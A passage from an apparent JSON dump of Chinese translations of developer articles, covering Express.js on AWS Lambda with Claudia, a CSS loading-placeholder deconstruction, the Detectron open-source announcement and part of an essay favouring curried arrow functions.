2）用户这样就有时间看清他们点击了哪里。\n\n![](https://cdn-images-1.medium.com/max/800/1*i9B3HzFDLxT_UKCMmpEkiw.gif)\n\n\n我在设计一款app的策略其实很简单：我总是从设计UI开始。UI是app最重要的部分，而且对iOS开发者来说，UI应该是他们最关注的地方。从UI开始，不绑定任何数据，不使用任何API，这可以确保你的UI尽可能流畅。这也可以让我们明白为什么在实现新特性时体验变差了，同时也让我们可以更快地解决这些问题。\n\n这是我最喜欢的这个app的特性之一。目前我们对如下的一些事情发推送通知（更多内容将在后续版本推出）：\n\n*   每日总结：在你早晨醒来时让你能够快速地浏览你昨天的销售额和新的客户。\n*   新的支付信息和新的客户：对小型企业来说，看到自己的生意有了进展是一件很令人激动的事情。\n*   失败的交易：我们想确保我们的用户能及时发现他们的交易失败了，并且能够根据提供的信息想出该怎么解决这些问题。\n*   账户变更：如果用户的密码或者银行账户有变动，我们就立刻让用户知道。这可以让他们在这些变更是在未被授权的情况下发生的时候迅速做出反应，或是寻求帮助。\n\n对于一些不是那么重要的通知，我们确保只在工作时间把它们推送给用户，至于具体的时间段要取决于用户所在的时区。没人想在半夜被吵醒吧！\n\n现在，iOS团队（[本](https://twitter.com/benzguo)和[杰克](https://twitter.com/jflinter)）在开发很多新特性，并对现有的特性进行优化，这些改进将把本杰明和我初创的这个产品带入下一阶段。\n\n我想过很多，为什么本杰明和我能够如此完美地共同做出新的产品。我觉得，有一个成员互补的团队是关键。我们开始时一同进行产品设计，然后他负责UI设计，我负责代码实现。这是一个绝妙的组合——我们两个人就可以创造一个完整的app。随着时间的推移，只要一个团队的成员都能跟得上团队的进度，那么这个团队就会花越来越少的时间在开会、在解释他们的想法上。当然了，如果你和同一个人在过去的5年里一直共事，这也是很有帮助的。\n\n感谢[卡蒂](http://twitter.com/kitchenettekat)帮我改写了一遍，让这篇文章更具有可读性。\n\n[你可以在推特上关注我哦 :)](https://twitter.com/michaelvillar)\n"
  },
  {
    "path": "TODO/express-js-and-aws-lambda-a-serverless-love-story.md",
    "content": "> * 原文地址：[Express.js and AWS Lambda — a serverless love story](https://medium.freecodecamp.org/express-js-and-aws-lambda-a-serverless-love-story-7c77ba0eaa35)\n> * 原文作者：[Slobodan Stojanović](https://medium.freecodecamp.org/@slobodan?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/express-js-and-aws-lambda-a-serverless-love-story.md](https://github.com/xitu/gold-miner/blob/master/TODO/express-js-and-aws-lambda-a-serverless-love-story.md)\n> * 译者：[刘嘉一](https://github.com/lcx-seima)\n> * 校对者：[FateZeros](https://github.com/FateZeros)，[Han Song](https://github.com/song-han)\n\n# Express.js 与 AWS Lambda — 一场关于 serverless 的爱情故事\n\n无论你是 Node.js 的职业开发者，亦或是使用 Node.js 开发过 API 的普通开发者，你都极有可能使用了 [Express.js](https://expressjs.com)。Express 可以称得上是 Node.js 中最流行的框架了。\n\n构建 Express App 极为容易。你仅需添加一些路由规则和对应的处理函数，一个简单的应用就此诞生。\n\n![](https://cdn-images-1.medium.com/max/800/1*FOKLXN58KdHMIXnq9XmMbQ.jpeg)\n\n图注：一个使用传统托管方法的简单 Express.js App —— 响应单次请求的过程。\n\n下列代码展示了一个最简单的 Express App：\n\n```\n'use strict'\n\nconst express = require('express')\nconst app = express()\n\napp.get('/', (req, res) => res.send('Hello world!'))\n\nconst port = process.env.PORT || 3000\napp.listen(port, () => \n  console.log(`Server is listening on port ${port}.`)\n)\n```\n\n如果将上面的代码片段保存为 **app.js**，那么再需三步你就可以让这个简单的 Express App 运行起来。\n\n1.  首先将终端的工作目录切换到 `app.js` 所在的文件夹，之后执行 `npm init -y` 命令以初始化一个新的 Node.js 项目。\n2.  使用终端执行 `npm install express --save` 命令以从 NPM 安装 Express 模块。\n3.  执行 `node app.js` 命令，终端会回显 “Server is listening on port 3000.” 字样。\n\n瞧，这就完成了一个 Express App。若使用浏览器访问 http://localhost:3000，你便可以在打开的网页中看到 “Hello world!” 信息。\n\n### 应用部署\n\n麻烦的问题来了：如何才能将你构建的 Express App 展示给你的朋友或者家人？如何才能让每个人都能访问到它？\n\n应用部署是一个耗时且痛苦的过程，但现在我们就假定你已经很快、很好地完成了部署的工作。你的应用已经能被所有人访问了，并且之后也运转良好。\n\n就这样直到一天，突然有一大批用户涌入开始使用你的应用。\n\n你的服务器开始变得疲惫不堪，不过仍然还能工作。\n\n![](https://cdn-images-1.medium.com/max/800/1*oRxOi15ZwmxllRruaUrajg.jpeg)\n\n图注：一个使用传统托管方法的简单 Express.js App —— 处于较大负载下。\n\n就这样持续了一段时间后，它终于宕机了。☠️\n\n![](https://cdn-images-1.medium.com/max/800/1*rLrZQImeF1JAAemPMsT4CA.jpeg)\n\n图注：一个使用传统托管方法的简单 Express.js App —— 因为过多用户访问导致应用挂掉。\n\n一大批用户因为应用无法访问而变得不开心（无论他们是否为此应用付费）。你对此感到绝望，并开始在 Google 上寻求解决方法。如果在云（Cloud）上部署可以改善现状吗？\n\n![](https://cdn-images-1.medium.com/max/800/1*zzz5m1-ZSKeYQwtshfx_6A.jpeg)\n\n图注：在云上部署应该就可以解决应用规模伸缩的问题了，对吧？\n\n此时你遇到了之前一个恼人的朋友，她又在给你谈论 Serverless（无服务器）技术的种种。但是等等，你现在可是有一台服务器的呀。虽然这台服务器是某个服务商提供的，并且它的状态也不怎么好暂时失去了控制，但总归是能供你使用的。\n\n![](https://cdn-images-1.medium.com/max/800/1*hkjYPGxG2q_r_-bUk1qSWw.jpeg)\n\n图注：但是，Serverless 背后还是有一堆服务器呀！\n\n走投无路的你愿意尝试一切方法 “挽救” 你的应用，管它是 Serverless 还是其他什么黑魔法。“不过，这个 Serverless 究竟是个什么东西呢?”\n\n你翻阅了数个网页，包括 “Serverless Apps with Node and Claudia.js” 这本书的 [第一章试读](https://livebook.manning.com/?utm_source=twitter&utm_medium=social&utm_campaign=book_serverlessappswithnodeandclaudiajs&utm_content=medium#!/book/serverless-apps-with-node-and-claudiajs/chapter-1/)（由 Manning Publications Co. 出版）。\n\n在这一章中，作者使用洗衣机类比说明了 Serverless 的原理，这听起来很疯狂不过解释起原理来还蛮有用。你的应用已经到了 🔥 烧眉毛的地步了，因此你决定马上试试 Serverless。\n\n### 让你的 Express.js App Serverless 化\n\n上面书中的一整章都是基于 AWS 的 Serverless 进行编写的。你已经知道了 Serverless API 是由 API Gateway 和 AWS Lambda function 组成的。现在需要考虑的是如何让你的 Express App Serveless 化。\n\n就像 Matt Damon 出演的电影《缩小人生》中描绘的桥段，Serverless 在未来也具有无限的潜力和可能性。\n\n![](https://cdn-images-1.medium.com/max/800/1*Yo4lpTU11g0vYE4vn3kA-w.jpeg)\n\n图注：如何才能让你的 Express.js App 无缝接入 AWS Lambda？\n\n[Claudia](https://claudiajs.com) 有能力帮助你把你的 App 部署到 AWS Lambda — 让我们向它请教一番！\n\n在运行 Claudia 命令前，请确保你已经参照 [教程](https://claudiajs.com/tutorials/installing.html) 配置好了 AWS 的访问凭证。\n\n为了能接入 AWS Lambda 和使用 Claudia 进行部署，你的代码需要稍微调整一下。你需要 export 你的 `app`，而不是调用 `app.listen` 去启动它。你的 `app.js` 内容应该类似下列代码：\n\n```\n'use strict'\n\nconst express = require('express')\nconst app = express()\n\napp.get('/', (req, res) => res.send('Hello world!'))\n\nmodule.exports = app\n```\n\n这样修改后你可能无法在本地启动 Express 服务器了，不过你可以通过额外添加 `app.local.js` 文件进行解决：\n\n```\n'use strict'\n\nconst app = require('./app')\n\nconst port = process.env.PORT || 3000\napp.listen(port, () => \n  console.log(`Server is listening on port ${port}.`)\n)\n```\n\n之后想启动本地服务器执行下面的命令就可以了：\n\n```\nnode app.local.js\n```\n\n为了将你的应用正确接入 AWS Lambda，你还需要编写一些代码将你的 Express App ”包裹“ 一番。在 Claudia 的帮助下，你只需要在终端中执行一条命令就可以生成 AWS Lambda 需要的 ”包裹“ 代码了：\n\n```\nclaudia generate-serverless-express-proxy --express-module app\n```\n\n命令结尾处的 `app` 指明了 Express App 的入口文件名，这里无需附加 `.js` 扩展名。\n\n这一步会生成 `lambda.js` 文件，它的内容如下：\n\n```\n'use strict'\nconst awsServerlessExpress = require('aws-serverless-express')\nconst app = require('./app')\nconst binaryMimeTypes = [\n  'application/octet-stream',\n  'font/eot',\n  'font/opentype',\n  'font/otf',\n  'image/jpeg',\n  'image/png',\n  'image/svg+xml'\n]\nconst server = awsServerlessExpress\n  .createServer(app, null, binaryMimeTypes)\nexports.handler = (event, context) =>\n  awsServerlessExpress.proxy(server, event, context\n)\n```\n\n至此已经完成了所有的准备工作！接下来你只需要执行 `claudia create` 命令就可以将你的 Express App（含 `lambda.js` 文件）部署到 AWS Lambda 和 API Gateway 了。\n\n```\nclaudia create --handler lambda.handler --deploy-proxy-api --region eu-central-1\n```\n\n等待上述命令执行完成后，终端会输出类似下面的响应信息：\n\n```\n{\n  \"lambda\": {\n    \"role\": \"awesome-serverless-expressjs-app-executor\",\n    \"name\": \"awesome-serverless-expressjs-app\",\n    \"region\": \"eu-central-1\"\n  },\n  \"api\": {\n    \"id\": \"iltfb5bke3\",\n    \"url\": \"https://iltfb5bke3.execute-api.eu-central-1.amazonaws.com/latest\"\n  }\n}\n```\n\n在浏览器中打开响应信息中返回的链接，若网页展示出 “Hello world!” 那么证明应用已经成功部署起来了！🙀\n\n![](https://cdn-images-1.medium.com/max/800/1*vEl8mct7Hz-HWJ6_N9Gyqw.png)\n\n图注：Serverless Express App。\n\n将你的应用 Serverless 化后，你不再畏惧用户群体的进一步扩大，应用会始终保持为可用状态。\n\n这并不是言过其实，因为在默认情况下 AWS Lambda 可通过弹性伸缩最高支持 1000 个 function 并发执行。当 API Gateway 接收到请求后，新的 function 会在短时间内处于可用状态。\n\n![](https://cdn-images-1.medium.com/max/800/1*F8bP1pP4Pc-eTKj0wLNzhA.jpeg)\n\n图注：在高负载下的 Serverless Express.js App。\n\n这并不是你接入 Serverless 后唯一的收益。在保证应用不会因为高负载宕机的前提下，你同样削减了不少应用的运行开销。使用 AWS Lambda，你仅需按你应用的实际访问量付费。同样，AWS 的免费试用计划还将给予你每应用每月一百万的免费流量（按访问次数计算）。\n\n![](https://cdn-images-1.medium.com/max/800/1*_SyXSIVxi0a5UKA5nQCBOQ.jpeg)\n\n图注：你的 Serverless App 真是太替你省钱了！\n\n想了解更多关于使用 Serverless 带来的好处，请点击查看 [这篇](https://hackernoon.com/7-ways-your-business-will-benefit-through-serverless-522b3f628a33) 文章。\n\n### Serverless Express.js App 的短板\n\n即便 Serverless Express App 听起来超赞，却同样有它的不足之处。\n\n![](https://cdn-images-1.medium.com/max/800/1*PglAqQmPs9k3ovYiwD2BBQ.jpeg)\n\n图注：Serverless，”阉割“ 版。\n\n下面是 Serverless Express App 一些最 “致命” 的短板：\n\n*   **Websockets** 无法在 AWS Lambda 中使用。这是因为在 AWS Lambda 中，若应用没有任何的访问，那么你的服务器在客观上也是不存在的。[AWS IOT websockets over MQTT protocol](https://docs.aws.amazon.com/iot/latest/developerguide/protocols.html#mqtt) 可以提供一个 “阉割” 版的 Websockets 支持。\n*   **上传** 文件到文件系统同样是无法工作的，除非你的上传目录是 `/tmp` 文件夹。这是因为 AWS Lambda function 对文件系统是只读的，即使你将文件上传到了 `/tmp` 文件夹，它们也只会在 function 处于 “工作态” 时存在。为确保你应用中的上传功能运转正常，你应当把文件上传并保存到 AWS S3 上。\n*   **执行限制** 也将影响你的 Serverless Express App 功能。例如 API Gateway 有 30 秒的超时时间限制，AWS Lambda 最大执行时间不能超过 5 分钟等。\n\n这仅仅算是你的应用与 AWS Lambda 之间关于 Serverless 爱情故事的一个序章，期待尽快涌现更多的爱情故事！\n\n**如往常一样，感谢来自我的朋友 [Aleksandar Simović](https://twitter.com/simalexan) 以及 [Milovan Jovičić](https://twitter.com/violinar) 的帮助和对文章的反馈意见。**\n\n> 所有的插图均是使用 [SimpleDiagrams4](https://www.simplediagrams.com) 创作的。\n\n如果你想了解更多关于 Serverless Express 和 Serverless App 的信息，“Serverless Apps with Node and Claudia.js” 这本书不容错过。这本书由我和 [Aleksandar Simovic](https://medium.com/@simalexan) 合作完成，Manning Publications 负责出版：\n\n- [**Serverless Apps with Node and Claudia.js**: First the buzzwords: Serverless computing. AWS Lambda. API Gateway. Node.js. Microservices. Cloud-hosted functions…www.manning.com](https://www.manning.com/books/serverless-apps-with-node-and-claudiajs)\n\n这本书除了会包含不少 Serverless Express App 的知识，它还将教会你如何使用 Node 和 Claudia.js 去构建、调试真实场景下的 Serverless API（含 DB 和身份校验）。随书还将讲解如何构建 Facebook Messenger 和短信（使用 Twilio）的聊天机器人，以及如何构建亚马逊的 Alexa skills。\n\n再次向 [Aleksandar Simovic](https://medium.com/@simalexan?source=post_page) 表示衷心的感谢。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/facebook-content-placeholder-deconstruction.md",
    "content": "> * 原文地址：[Facebook content placeholder deconstruction](http://cloudcannon.com/deconstructions/2014/11/15/facebook-content-placeholder-deconstruction.html)\n* 原文作者：[George Phillips](https://twitter.com/gphillips_nz)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：\n* 校对者：\n\n# Facebook content placeholder deconstruction\n\n\n\n\nThis is the first post of my new blog series called Deconstructions. Showcasing cool things people are doing in web development and breaking them down step by step. My first target is a cool content placeholder from the most recent Facebook overhaul. Before your friends latest selfie or dog picture loads you may have noticed this nice bit of polish.\n\n### What is it?\n\nStraight to the point here it is. Below you can see my clone and my HTML (I changed a few things to make it easier to see):\n\n\n```\n<div class=\"timeline-wrapper\">\n    <div class=\"timeline-item\">\n        <div class=\"animated-background\">\n            <div class=\"background-masker header-top\"></div>\n            <div class=\"background-masker header-left\"></div>\n            <div class=\"background-masker header-right\"></div>\n            <div class=\"background-masker header-bottom\"></div>\n            <div class=\"background-masker subheader-left\"></div>\n            <div class=\"background-masker subheader-right\"></div>\n            <div class=\"background-masker subheader-bottom\"></div>\n            <div class=\"background-masker content-top\"></div>\n            <div class=\"background-masker content-first-end\"></div>\n            <div class=\"background-masker content-second-line\"></div>\n            <div class=\"background-masker content-second-end\"></div>\n            <div class=\"background-masker content-third-line\"></div>\n            <div class=\"background-masker content-third-end\"></div>\n        </div>\n    </div>\n</div>\n```\n\n\nAs you can see the demo only contains three types on elements:\n\n#### A Wrapper\n\nThis is the easiest bit, it’s just a centered div to wrap the content. I chose to use the same colours as Facebook.\n\n    .timeline-item {\n        background: #fff;\n        border: 1px solid;\n        border-color: #e5e6e9 #dfe0e4 #d0d1d5;\n        border-radius: 3px;\n        padding: 12px;\n\n        margin: 0 auto;\n        max-width: 472px;\n        min-height: 200px;\n    }\n\n#### A Fancy Animated Background\n\nThis is where the magic happens. It’s a box that is has a animated background and that background happens to be a CSS gradient.\n\n    @keyframes placeHolderShimmer{\n        0%{\n            background-position: -468px 0\n        }\n        100%{\n            background-position: 468px 0\n        }\n    }\n\n    .animated-background {\n        animation-duration: 1s;\n        animation-fill-mode: forwards;\n        animation-iteration-count: infinite;\n        animation-name: placeHolderShimmer;\n        animation-timing-function: linear;\n        background: #f6f7f8;\n        background: linear-gradient(to right,  #eeeeee 8%,#dddddd 18%,#eeeeee 33%);\n        background-repeat: no-repeat;\n        background-size: 800px 104px;\n        height: 96px;\n        position: relative;\n    }\n\n#### Plenty of Tiny Masking Blocks\n\nWithout these the previous step just looks stupidly large progress bar. This gives the shape to the placeholder. It’s just lots of little white divs that sit on top so you can’t see the animation. This part gets messy fast. I have added some borders to this version to illustrate where the masks are placed (Try hovering on each block).\n\n    .background-masker {\n        background: #fff;\n        position: absolute;\n    }\n\n    /* Every thing below this is just positioning */\n\n    .background-masker.header-top,\n    .background-masker.header-bottom,\n    .background-masker.subheader-bottom {\n        top: 0;\n        left: 40px;\n        right: 0;\n        height: 10px;\n    }\n\n    .background-masker.header-left,\n    .background-masker.subheader-left,\n    .background-masker.header-right,\n    .background-masker.subheader-right {\n        top: 10px;\n        left: 40px;\n        height: 8px;\n        width: 10px;\n    }\n\n    .background-masker.header-bottom {\n        top: 18px;\n        height: 6px;\n    }\n\n    .background-masker.subheader-left,\n    .background-masker.subheader-right {\n        top: 24px;\n        height: 6px;\n    }\n\n    .background-masker.header-right,\n    .background-masker.subheader-right {\n        width: auto;\n        left: 300px;\n        right: 0;\n    }\n\n    .background-masker.subheader-right {\n        left: 230px;\n    }\n\n    .background-masker.subheader-bottom {\n        top: 30px;\n        height: 10px;\n    }\n\n    .background-masker.content-top,\n    .background-masker.content-second-line,\n    .background-masker.content-third-line,\n    .background-masker.content-second-end,\n    .background-masker.content-third-end,\n    .background-masker.content-first-end {\n        top: 40px;\n        left: 0;\n        right: 0;\n        height: 6px;\n    }\n\n    .background-masker.content-top {\n        height:20px;\n    }\n\n    .background-masker.content-first-end,\n    .background-masker.content-second-end,\n    .background-masker.content-third-end{\n        width: auto;\n        left: 380px;\n        right: 0;\n        top: 60px;\n        height: 8px;\n    }\n\n    .background-masker.content-second-line  {\n        top: 68px;\n    }\n\n    .background-masker.content-second-end {\n        left: 420px;\n        top: 74px;\n    }\n\n    .background-masker.content-third-line {\n        top: 82px;\n    }\n\n    .background-masker.content-third-end {\n        left: 300px;\n        top: 88px;\n    }\n\n### Why would I ever use this?\n\nWe can’t always remove having to wait for information but we can make the wait feel shorter. By giving some indication of what is going on and giving visual stimulus the user feels immediately more comfortable and less likely to leave. This is exactly like putting a progress bar on a long action. Apart from the fact it’s some fancy polish, it’s great usability. I think this feature is better than your average loading symbol because it actually feels like the content is almost there. After a quick search I found [this article](http://usabilitypost.com/2009/01/23/making-wait-times-feel-shorter/) which explains it quite well.\n\n### That’s it\n\nI have been looking for a situation I can use a loader like this but sadly one has not come up yet. I may use it for the upcoming GitHub integration while I am loading the list of repositories. If you found this useful or have any questions feel free to comment below. I am going to try do one of these a week so if you see something you want deconstructed let me know.\n\nNote: I used unprefixed CSS in the code examples to keep it clean. You can use [Our CSS Prefixer](http://prefixr.cloudvent.net/) to get cross a cross browser version.\n\n\n\n"
  },
  {
    "path": "TODO/facebook-open-sources-detectron.md",
    "content": "> * 原文地址：[Facebook open sources Detectron](https://research.fb.com/facebook-open-sources-detectron/)\n> * 原文作者：[Ross Girshick](https://research.fb.com/people/girshick-ross/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/facebook-open-sources-detectron.md](https://github.com/xitu/gold-miner/blob/master/TODO/facebook-open-sources-detectron.md)\n> * 译者：[SeanW20](https://github.com/SeanW20)\n> * 校对者：[noahziheng](https://github.com/noahziheng)、[dazhi1011](https://github.com/dazhi1011)\n\n# Facebook开源Detectron\n\n![](https://i.loli.net/2018/01/24/5a682bb6c9193.png)\n\n今天（译者注：2018 年 1 月 24 日），Facebook AI Research(FAIR) 研究机构开源了 [Detectron](https://research.fb.com/downloads/detectron/) —— 我们最先进的目标检测研究平台。\n\nDetectron 项目在 2016 年 7 月启动，目的是建立一个基于 Caffe2 上的快速灵活的物体检测系统。当时还在进行 Alpha 阶段的开发。在过去的一年半里，代码库已经成熟并且支持了我们的大量项目，包括 [Mask R-CNN](https://arxiv.org/abs/1703.06870) 和 [Focal Loss for Dense Object Detection](https://arxiv.org/abs/1708.02002)，在 2017 年的 ICCV 上这两个项目分别获得了 Marr 奖和最佳学生论文奖。由 Detectron 提供支持的这些算法为一些重要的计算机视觉任务，例如实现实例分割，提供了直观的模型，并且近年来在由我们社区完成的视觉感知系统中发挥了重要作用，这套系统已经取得空前成就。\n\n除了研究，许多 Facebook 团队使用这个平台来训练各种应用的定制模型，包括增强现实和社区完整性。一旦开始训练，这些模型可以部署在云端和移动设备上，由高效的 Caffe2 运行时提供支持。\n\n我们开源 Detectron 的目标是使我们的研究尽更加开放，并加速在全球实验室的研究。随着其发布，科研界同仁将能够重现我们的结果，并能够使用 FAIR 的相同软件平台。\n\nDetectron 可以在 Apache2.0 许可证下获得 [https://github.com/facebookresearch/Detectron](https://github.com/facebookresearch/Detectron). 我们还发布了 70 多种预训练模型的广泛性能基准，可以从我们的模型库中下载。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md",
    "content": "> * 原文地址：[Familiarity Bias is Holding You Back: It’s Time to Embrace Arrow Functions](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75)\n> * 原文作者：本文已获原作者 [Eric Elliott](https://medium.com/@_ericelliott) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[Germxu](https://github.com/Germxu),[GangsterHyj](https://github.com/GangsterHyj)\n\n# 别让你的偏爱拖了后腿：快拥抱箭头函数吧！ #\n\n![题图：\"锚\"——锚212——(CC BY-NC-ND 2.0)](https://cdn-images-1.medium.com/max/800/1*Dwv24VW3sEuGBo4BqrsRQg.jpeg)\n\n我以教 JavaScript 为生。最近我给学生上了柯里化箭头函数这个课程——这还是最开始的几节课。我认为它是一个很好用的技能，因此将这个内容提到了课程的前面。而学生们没有让我失望，比我想象中地**更快地**掌握了使用箭头函数进行柯里化。\n\n如果学生们能够理解它，并且能尽快由它获益，为什么不早点将箭头函数教给他们呢？\n\n> Note：我的课程并不适合那些从来没有接触过代码的人。大多数学生在加入我们的课程之前至少有几个月的编程经历——无论他们是自学，还是通过培训班学习，或者本身就是专业的。然而，我发现许多只有一点经验或者没有经验的年轻开发者们能够很快地接受这些主题。\n\n我看到很多的学生在上了 1 小时的课之后就能很熟练地使用箭头函数工作了。（如果你是[“和 Eric Elliott 一起学习 JavaScript”](https://ericelliottjs.com/product/lifetime-access-pass/)培训班的同学，你可以看这个约 55 分钟的视频——[ES6 的柯里化与组合](https://ericelliottjs.com/premium-content/es6-curry-composition/)）。\n\n看到学生们如此之快地掌握与应用他们新发现的柯里化方法，我想起了我在推特上发了柯里化箭头函数的帖子，然后被一群人喷“可读性差”的事。我很惊讶为什么他们会坚持这个观点。\n\n首先，我们先来看看这个例子。我在推特发了这个函数，然后我发现有人强烈反对这种写法：\n\n```\nconst secret = msg => () => msg;\n```\n\n我对有人在推特上指责我在误导别人感到不可思议。我写这个函数是为了示范在 ES6 中写柯里化函数是多么的**简单**。它是我能想到的在 JavaScript 中**最简单**的实际运用与闭包表达式了。（相关阅读：[什么是闭包](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-a-closure-b2f0d2152b36)）\n\n它和下面的函数表达式等价：\n\n```\nconst secret = function (msg) {\n  return function () {\n    return msg;\n  };\n};\n```\n\n`secret()` 是一个函数，它需要传入 `msg` 这个参数，然后会返回一个新的函数，这个函数将会返回 `msg` 的值。无论你向 `secret()` 中传入什么值，它都会利用闭包固定 `msg` 的值。\n\n你可以这么用它：\n\n```\nconst mySecret = secret('hi');\nmySecret(); // 'hi'\n```\n\n事实证明，双箭头并没有让人感到困惑。我坚信：\n\n> 对于熟悉的人来说，单行的箭头函数是 JavaScript 表达柯里化函数**最具有可读性**的方法了。\n\n有许多人指责我，告诉我将代码写的长一些比简短的代码更容易阅读。他们有时也许是对的，但是大多数情况都错了。更长、更详细的代码不一定更容易阅读——至少，对熟悉箭头函数的人来说就是如此。\n\n我在推特上看到的持反对意见的人，并没有像我的学生一样享受平滑的学习箭头函数的过程。在我的经验里，学生学习柯里化箭头函数就像鱼在水里生活一样。仅仅学了几天，他们就开始使用箭头了。它帮助学生们轻松地跨过了各种编程问题的鸿沟。\n\n我没有看到学习、阅读、理解箭头函数对那些学生造成了任何的“困难”——一旦他们决定学习，只要上个大概一小时的课就能基本掌握。\n\n他们能够很轻松地读懂柯里化箭头函数，尽管他们从来没有见过这类的东西，他们还是能够告诉我这些函数做了什么事。当我给他们布置任务后他们也能够很自如地自己完成任务。\n\n从另一方面说，他们能够很快**熟悉**柯里化箭头函数，并且没有为此产生任何**问题**。他们阅读这些函数就像你读一句话一样，他们对其的理解让他们写出了更简单、更少 bug 的代码。\n\n### 为什么一些人认为传统的函数表达式看起来“更具有可读性”？ ###\n\n**偏爱**是一种显著的[人类认知偏差](https://www.psychologytoday.com/blog/mind-my-money/200807/familiarity-bias-part-i-what-is-it)，它会让我们在有更好的选择的情况下做出自暴自弃的选择。我们会因此无视更舒服更好的方法，习惯性地选用以前使用过的老方法。\n\n你可以从这本书中更详细地了解“偏爱”这种心理：[《The Undoing Project: A Friendship that Changed Our Minds》](https://www.amazon.com/Undoing-Project-Friendship-Changed-Minds-ebook/dp/B01GI6S7EK/ref=as_li_ss_tl?ie=UTF8&qid=1492606452&sr=8-1&keywords=the+undoing+project&linkCode=ll1&tag=eejs-20&linkId=4ebd1476f97023e8acb4bba37ea18b90)（很多情况都是我们自欺欺人）。每个软件工程师都应该读一读这本书，因为它会鼓励你辩证地去看待问题，以及鼓励你多对假设进行实验，以免掉入各种认知陷阱中。书中那些发现认知陷阱的故事也很有趣。\n\n### 传统的函数表达式可能会在你的代码中导致 Bug 的出现 ###\n\n今天我用 ES5 的语法重写了一个 ES6 写的柯里化箭头函数，以便发布开源模块让人们无需编译就能在老浏览器中用。然而 ES5 版本让我震惊。\n\nES6 版本的代码非常简短、简介、优雅——仅仅只需要 4 行。\n\n我觉得，这件事可以发个推特，告诉大家箭头函数是一种更加优越的实现，是时候如同放弃自己的坏习惯一样，放弃传统函数表达式的写法了。\n\n所以我发了一条推特：\n\n[![Markdown](http://i2.muimg.com/1949/15826825ba3ae5a9.png)](https://twitter.com/_ericelliott/status/854608052967751680/photo/1)\n\n为了防止你看不清图片，下面贴上这个函数的文本：\n\n```\n// 使用箭头函数柯里化\nconst composeMixins = (...mixins) => (\n  instance = {},\n  mix = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x)\n) => mix(...mixins)(instance);\n// 对比一下 ES5 风格的代码：\nvar composeMixins = function () {\n  var mixins = [].slice.call(arguments);\n  return function (instance, mix) {\n    if (!instance) instance = {};\n    if (!mix) {\n      mix = function () {\n        var fns = [].slice.call(arguments);\n        return function (x) {\n          return fns.reduce(function (acc, fn) {\n            return fn(acc);\n          }, x);\n        };\n      };\n    }\n    return mix.apply(null, mixins)(instance);\n  };\n};\n```\n\n这里的函数封装了一个 `pipe()`，它是标准的函数式编程的工具函数，通常[用于组合函数](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-function-composition-20dfb109a1a0)。这个 `pipe()` 函数在 lodash 中是 `lodash/flow`，在 Ramda 中是 `R.pipe()`，在一些函数式编程语言中它甚至本身就是一个运算符号。\n\n每个[熟悉函数式编程](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-functional-programming-7f218c68b3a0)的人都应该很熟悉它。它的实现主要依赖于[Reduce](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d)。\n\n在这个例子中，它用来组合混合函数，不过这点无关紧要（有专门写这方面的博客文章）。我们需要注意是以下几个重要的细节：\n\n这个函数可以将任何数量的函数混合，最终返回一个函数，这个函数在管道中应用了其它的函数——就像流水线一样。每个混合函数都将实例（`instance`）作为输入，然后在将自己传递给管道中下一个函数之前，将一些变量传入。\n\n如果你没有传入 `instance`，它将会为你创建一个新的对象。\n\n有时你可能会想用别的混合方式。例如，使用 `compose()` 代替 `pipe()` 来传递函数，让组合顺序反过来。\n\n如果你不需要自定义函数混合时的行为，你可以简单地使用默认设定，使用 `pipe()` 来完成过程。\n\n### 事实 ###\n\n除了可读性的区别之外，以下列举了一些与这个例子有关的**客观事实**：\n\n- 我有多年的 ES5 与 ES6 编程经验，无论是箭头函数表达式还是别的函数表达式我都很熟悉。因此“偏爱”对我来说**不是**一个变化无常的因素。\n- 我没几秒就写好了 ES6 版本的代码，它没有任何 bug（它通过了所有的单元测试，因此我敢肯定这点）。\n- 写 ES5 版本的代码花了我好几分钟。一个是几秒，一个是几分钟，差距还是挺大的。写 ES5 代码时，我有 2 次弄错了函数的作用范围；写出了 3 个 bug，然后要花时间去分别调试与修复；还有 2 次我不得不使用 `console.log()` 来弄清函数执行的情况。\n- ES6 